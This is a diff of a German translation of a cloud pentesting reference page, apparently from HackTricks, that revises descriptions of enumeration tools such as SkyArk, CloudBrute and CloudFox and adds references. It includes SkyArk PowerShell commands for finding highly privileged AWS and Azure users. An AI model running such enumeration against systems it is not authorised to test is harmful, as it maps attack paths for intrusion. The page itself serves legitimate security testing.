-Starbase sammelt assets und relationships von Diensten und Systemen, einschließlich Cloud-Infrastruktur, SaaS-Anwendungen, Sicherheitskontrollen und mehr, und stellt diese in einer intuitiven Graph-Ansicht dar, die von der Neo4j-Datenbank unterstützt wird.
+Starbase sammelt Assets und Beziehungen aus Services und Systemen, einschließlich Cloud-Infrastruktur, SaaS-Anwendungen, Security-Kontrollen und mehr, in einer intuitiven Graph-Ansicht, die von der Neo4j-Datenbank unterstützt wird.
 
 {{#tabs }}
 {{#tab name="Install" }}
@@ -361,7 +387,7 @@ uri: bolt://localhost:7687
 
 ### [**SkyArk**](https://github.com/cyberark/SkyArk)
 
-Entdeckt die am höchsten privilegierten Benutzer in der gescannten AWS- oder Azure-Umgebung, einschließlich der AWS Shadow Admins. Es verwendet powershell.
+Entdecke die am stärksten privilegierten Benutzer in der gescannten AWS- oder Azure-Umgebung, einschließlich der AWS Shadow Admins. Es verwendet powershell.
 ```bash
 Import-Module .\SkyArk.ps1 -force
 Start-AzureStealth
@@ -372,15 +398,15 @@ Scan-AzureAdmins
 ```
 ### [Cloud Brute](https://github.com/0xsha/CloudBrute)
 
-Ein Tool, um die Infrastruktur, Dateien und Apps eines Unternehmens (Ziels) bei den großen Cloud-Anbietern (Amazon, Google, Microsoft, DigitalOcean, Alibaba, Vultr, Linode) zu finden.
+Ein Tool, um die Infrastruktur, Dateien und Apps eines Unternehmens (Ziel) auf den wichtigsten Cloud-Anbietern zu finden (Amazon, Google, Microsoft, DigitalOcean, Alibaba, Vultr, Linode).
 
 ### [CloudFox](https://github.com/BishopFox/cloudfox)
 
-- CloudFox ist ein Tool, um ausnutzbare Angriffswege in Cloud-Infrastrukturen zu finden (derzeit werden nur AWS & Azure unterstützt, GCP folgt demnächst).
-- Es ist ein Enumeration-Tool, das manuelles pentesting ergänzen soll.
+- CloudFox ist ein Tool, um ausnutzbare Attack Paths in der Cloud-Infrastruktur zu finden (derzeit nur AWS & Azure unterstützt, GCP folgt).
+- Es ist ein Enumeration-Tool, das dazu gedacht ist, manuelles pentesting zu ergänzen.
 - Es erstellt oder verändert keine Daten innerhalb der Cloud-Umgebung.
 
-### More lists of cloud security tools
+### Weitere Listen von Cloud-Sicherheits-Tools
 
 - [https://github.com/RyanJarv/awesome-cloud-sec](https://github.com/RyanJarv/awesome-cloud-sec)
 
@@ -410,7 +436,7 @@ aws-security/
 azure-security/
 {{#endref}}
 
-## Allgemeine Cloud-Sicherheitsfunktionen
+## Gemeinsame Cloud-Sicherheitsfunktionen
 
 ### Confidential Computing
 
@@ -418,4 +444,11 @@ azure-security/
 confidential-computing/luks2-header-malleability-null-cipher-abuse.md
 {{#endref}}
 
+## Referenzen
+
+- [The Global Namespace Risk: Universal Bucket Hijacking Technique for Cloud Data Exfiltration](https://unit42.paloaltonetworks.com/cloud-bucket-hijacking-risks/)
+- [Cloud Logging routing and sinks](https://docs.cloud.google.com/logging/docs/export/configure_export_v2)
+- [Amazon S3 replication](https://docs.aws.amazon.com/AmazonS3/latest/userguide/replication.html)
+- [Azure Monitor diagnostic settings](https://learn.microsoft.com/en-us/azure/azure-monitor/platform/diagnostic-settings)
+
 {{#include ../banners/hacktricks-training.md}}